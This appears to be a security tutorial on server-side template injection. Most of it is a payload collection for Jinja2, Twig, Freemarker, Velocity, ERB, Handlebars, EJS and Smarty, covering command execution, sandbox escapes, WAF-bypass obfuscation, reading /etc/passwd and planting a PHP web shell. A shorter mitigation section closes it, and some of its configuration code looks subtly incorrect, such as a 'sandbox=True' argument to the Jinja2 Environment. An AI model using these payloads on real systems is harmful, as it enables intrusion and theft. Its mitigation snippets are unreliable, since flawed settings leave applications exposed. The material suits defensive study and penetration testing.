Introduction
Server-Side Template Injection (SSTI) is a vulnerability that occurs when user input is embedded directly into a template in an unsafe manner. When a web application fails to properly sanitize user input before inserting it into a server-side template, attackers can inject malicious template directives that can lead to remote code execution (RCE), data leakage, and other security issues.
Common Vulnerable Template Engines
Template Engine | Language/Framework | Example Syntax |
---|
Jinja2/Twig | Python/PHP | {{ code }} , {% statement %} |
Freemarker | Java | ${code} , <#directive> |
Velocity | Java | #directive , $variable |
Handlebars | JavaScript | `` |
EJS | JavaScript | <%= code %> |
JSP | Java | <%= code %> , <% code %> |
ERB | Ruby | <%= code %> , <% code %> |
Smarty | PHP | {$variable} , {code} |
Mako | Python | ${expression} , <% code %> |
Pug/Jade | JavaScript | #{expression} , =expression |
Thymeleaf | Java | th:text="${expression}" |
Detection Techniques
Basic Detection Payloads
Test for mathematical operations to detect template injection points:
1
2
3
4
5
6
7
8
|
{{7*7}}
${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}
*{7*7}
|
Error-Based Detection
Sending invalid syntax to generate errors:
1
2
3
4
5
|
{{7*'7'}}
${foobar}
<%= undefined_variable %>
|
Detection by Template Engine
Jinja2/Twig (Python/PHP)
1
2
3
4
5
|
{{7*'7'}} # Jinja2 will execute and return 49, Twig will error
{{config}} # Jinja2 specific
{{dump()}} # Twig specific
|
Freemarker (Java)
1
2
| ${7*7}
<#if 7*7==49>True</#if>
|
Velocity (Java)
1
2
| #set($x = 7*7)${x}
#if(7*7==49)True#{end}
|
Handlebars (JavaScript)
1
2
3
4
|
{{#if (eq (math 7 "*" 7) 49)}}True{{/if}}
{{#with "s" as |string|}}{{#with "e"}}{{#with split as |sp|}}{{#with "../../../lookup"}}{{#with (lookup (lookup (string.sub sp.0 7 8)) string.sub) as |safe|}}{{#with (lookup"constructor" safe.data)}}{{#with (safe.apply this undefined safe.data)}}{{#with (lookup"process" global)}}{{#with (jailbreak (lookup"mainModule" this))}}{{#with (jailbreak (this.require "child_process"))}}{{jailbreak (this.exec "id")}}{{/with}}{{/with}}{{/with}}{{/with}}{{/with}}{{/with}}{{/with}}{{/with}}{{/with}}{{/with}}
|
EJS (JavaScript)
1
2
| <%= 7*7 %>
<% if(7*7==49) { %>True<% } %>
|
ERB (Ruby)
1
2
| <%= 7*7 %>
<% if 7*7==49 %>True<% end %>
|
Smarty (PHP)
1
2
| {$smarty.version}
{php}echo 7*7;{/php}
|
Basic Exploitation by Template Engine
Jinja2/Twig (Python)
1
2
3
4
5
6
7
8
|
{{ config }}
{{ config.items() }}
{{ self.__dict__ }}
{{ request }}
{{ request.environment }}
{{ url_for.__globals__ }}
|
Remote Code Execution
1
2
3
4
5
6
7
8
9
10
11
12
13
|
# Access to Python built-ins
{{ ''.__class__.__mro__[1].__subclasses__() }}
# Find a useful class for RCE
{{ ''.__class__.__mro__[1].__subclasses__()[<index of subprocess.Popen>]('id', shell=True, stdout=-1).communicate()[0].strip() }}
# Alternative using __import__
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
# More direct approach with import
{% import os %}{{ os.popen('id').read() }}
|
Twig (PHP)
Basic Exploitation
1
2
3
4
5
|
{{_self.env.display("id")}}
{{_self.env.createTemplate("{{phpinfo()}}")}}
{{['id']|filter('system')}}
|
Freemarker (Java)
1
2
3
| ${object.class}
${object.getClass().getConstructor().newInstance()}
${object.getClass().getName()}
|
Remote Code Execution
1
2
3
4
| <#assign ex = "freemarker.template.utility.Execute"?new()>${ex("id")}
# Executing commands via Java Runtime
${"freemarker.template.utility.ObjectConstructor"?new()("java.lang.Runtime").getRuntime().exec("id")}
|
Velocity (Java)
Remote Code Execution
1
2
3
4
5
6
| #set($runtime = $class.getClassLoader().loadClass("java.lang.Runtime").getRuntime())
$runtime.exec("id")
#set($str=$class.forName("java.lang.String"))
#set($chr=$class.forName("java.lang.Character"))
#set($ex=$class.forName("java.lang.Runtime").getRuntime().exec("id"))
|
ERB (Ruby)
Remote Code Execution
1
2
3
4
| <%= system('id') %>
<%= `id` %>
<%= IO.popen('id').read() %>
<%= eval('`id`') %>
|
Handlebars (JavaScript)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{this.push "return require('child_process').execSync('id');"}}
{{#with string.sub.apply conslist}}
{{this}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
|
EJS (JavaScript)
1
2
3
| <% global.process.mainModule.require('child_process').exec('id', function(error, stdout, stderr) { %>
<%= stdout %>
<% }); %>
|
Smarty (PHP)
1
2
| {php}system("id");{/php}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php system('id'); ?>",self::clearConfig())}
|
Advanced Exploitation Techniques
Jinja2 Filter Bypass Payloads
1
2
3
4
5
|
{{request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("id")|attr("read")()}}
{{request|attr("__class__")|attr("__mro__")|attr("__getitem__")(1)|attr("__subclasses__")()|attr("__getitem__")(128)|attr("__init__")|attr("__globals__")|attr("__getitem__")("__builtins__")|attr("__getitem__")("__import__")("os")|attr("popen")("id")|attr("read")()}}
|
Sandbox Escape Techniques
Python Sandbox Escape
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
{% for x in ().__class__.__base__.__subclasses__() %}
{% if "warning" in x.__name__ %}
{{x()._module.__builtins__['__import__']('os').popen("id").read()}}
{% endif %}
{% endfor %}
# Using namespace creation
{{ namespace.__init__.__globals__.os.popen('id').read() }}
# Using cycler object in Flask/Jinja2
{{ cycler.__init__.__globals__.os.popen('id').read() }}
# Using joiner object in Flask/Jinja2
{{ joiner.__init__.__globals__.os.popen('id').read() }}
|
Java Sandbox Escape
1
2
3
4
5
6
7
8
9
10
11
12
| # For Freemarker
<#assign classloader=object.class.protectionDomain.classLoader>
<#assign ownerClass=classloader.loadClass("freemarker.template.Configuration")>
<#assign field=ownerClass.getDeclaredField("_ObjectBuilderSettings")>
<#assign field.accessible=true>
<#assign object=field.get(null)>
<#assign constructor=object.class.getDeclaredConstructors()[0]>
<#assign constructor.accessible=true>
<#assign object=constructor.newInstance()>
<#assign method=object.class.getDeclaredMethods()[0]>
<#assign method.accessible=true>
<#assign result=method.invoke(object, "/bin/bash", "-c", "id")>
|
WAF Bypass Techniques
Character Encoding and Obfuscation
1
2
3
4
5
6
7
8
9
10
11
|
# URL Encoding
{{config.__class__.__init__.__globals__['os'].popen(request.args.get('cmd')).read()}}
// Encode 'os' as %6f%73 and other parts as needed
# Unicode Normalization
{{config.__class__.__init__.__globals__['\u006f\u0073'].popen("id").read()}}
# Hex Encoding
{{config.__class__.__init__.__globals__['\x6f\x73'].popen("id").read()}}
|
String Concatenation
1
2
3
4
5
6
7
8
9
10
|
# Jinja2
{{ config.__class__.__init__.__globals__['o'+'s'].popen('i'+'d').read() }}
# PHP/Smarty
{$smarty.block.child["__construct"]("file_get_contents",["php://filter/convert.base64-encode/resource=index.php"])}
# Freemarker
${"".getClass().forName("java.la"+"ng.Ru"+"ntime").getMethod("ex"+"ec",String.class).invoke("".getClass().forName("java.la"+"ng.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(null),"id")}
|
Alternative Syntax
1
2
3
4
5
6
7
8
|
# Jinja2
{% set cmd = 'import os; os.popen("id").read()' %}
{{ lipsum.__globals__.__builtins__.eval(cmd) }}
# Ruby ERB
<%= defined?(proc) ? proc { |n| eval(n) }.call('system("id")') : system("id") %>
|
File Read/Write Techniques
Reading Files
Jinja2/Python
1
2
3
4
|
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
{{ config.__class__.__init__.__globals__['os'].popen('cat /etc/passwd').read() }}
|
PHP/Smarty/Twig
1
2
3
4
|
{include file='/etc/passwd'}
{{file_get_contents('/etc/passwd')}}
|
Java/Freemarker
1
| ${object.getClass().forName("java.io.FileReader").newInstance("/etc/passwd").toString()}
|
Writing Files
Jinja2/Python
1
2
3
|
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/shell.php', 'w').write('<?php system($_GET["cmd"]);?>') }}
|
PHP/Smarty/Twig
1
2
3
| {$smarty.template_object->smarty->registerResource('file',
array('resource_open'=>function($path){return fopen($path,'w');},'resource_get'=>function($fp){fwrite($fp,'<?php system($_GET["cmd"]);?>');return true;}))}
{extends file='../../../var/www/html/shell.php'}
|
Java/Freemarker
1
2
| <#assign ex = "freemarker.template.utility.Execute"?new()>
${ex("echo '<?php system($_GET[\"cmd\"]);?>' > /var/www/html/shell.php")}
|
Impact of SSTI Vulnerabilities
- Remote Code Execution (RCE) - Execute arbitrary system commands
- Information Disclosure - Leak sensitive configuration, environment variables, etc.
- File System Access - Read/write files on the server
- Server-Side Request Forgery (SSRF) - Make requests from the server to internal resources
- Denial of Service (DoS) - Crash the application or degrade performance
Prevention and Mitigation
General Best Practices
- Use Template Engine Features Safely
- Use sandboxed environments/configurations
- Disable dangerous features (autoescape=True in Jinja2)
- Use strict contextual escaping
- User Input Handling
- Never pass user input directly to template engines
- Implement context-specific encoding/escaping
- Validate user input against whitelist patterns
- Implement Security Headers
- Content-Security-Policy (CSP)
- X-Content-Type-Options: nosniff
- Template Engine Configuration
1
2
3
4
5
6
| # Secure Jinja2 configuration
jinja2_env = jinja2.Environment(
autoescape=True,
sandbox=True,
cache_size=0
)
|
Specific Recommendations by Template Engine
Jinja2 (Python)
1
2
3
4
5
6
7
8
9
10
11
| # Use auto-escaping
env = jinja2.Environment(autoescape=True)
template = env.from_string(user_template)
# Use a sandbox
env = SandboxedEnvironment()
# Avoid letting users control the template structure entirely
# Instead, use placeholders in your own templates
safe_template = "Hello, !"
result = env.from_string(safe_template).render(name=user_input)
|
Twig (PHP)
1
2
3
4
5
6
7
8
9
10
11
| // Use a sandboxed environment
$twig = new \Twig\Environment($loader);
$policy = new \Twig\Sandbox\SecurityPolicy(
['Math'], // Allowed tags
[], // Allowed filters
[], // Allowed methods
[], // Allowed properties
[] // Allowed functions
);
$sandbox = new \Twig\Extension\SandboxExtension($policy, true);
$twig->addExtension($sandbox);
|
Freemarker (Java)
1
2
3
4
5
6
| // Restrict template access
Configuration cfg = new Configuration();
cfg.setTemplateExceptionHandler(TemplateExceptionHandler.RETHROW_HANDLER);
cfg.setLogTemplateExceptions(false);
cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);
cfg.setObjectWrapper(new SimpleObjectWrapper());
|
Common Security Misconfigurations
- Debug modes enabled in production
- Can leak sensitive information via error messages
- Overly permissive template contexts
- Avoid exposing global objects/context unnecessarily
- Lack of input validation
- Validate user input before processing in templates
- Disabled auto-escaping features
- Keep auto-escaping enabled for all user inputs
- Tplmap - Automatic Server-Side Template Injection Detection and Exploitation Tool
- https://github.com/epinna/tplmap
- Burp Suite Extensions
- J2EE Scan
- Backslash Powered Scanner
- SSTI Scanner
- PayloadsAllTheThings - SSTI Collection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection
References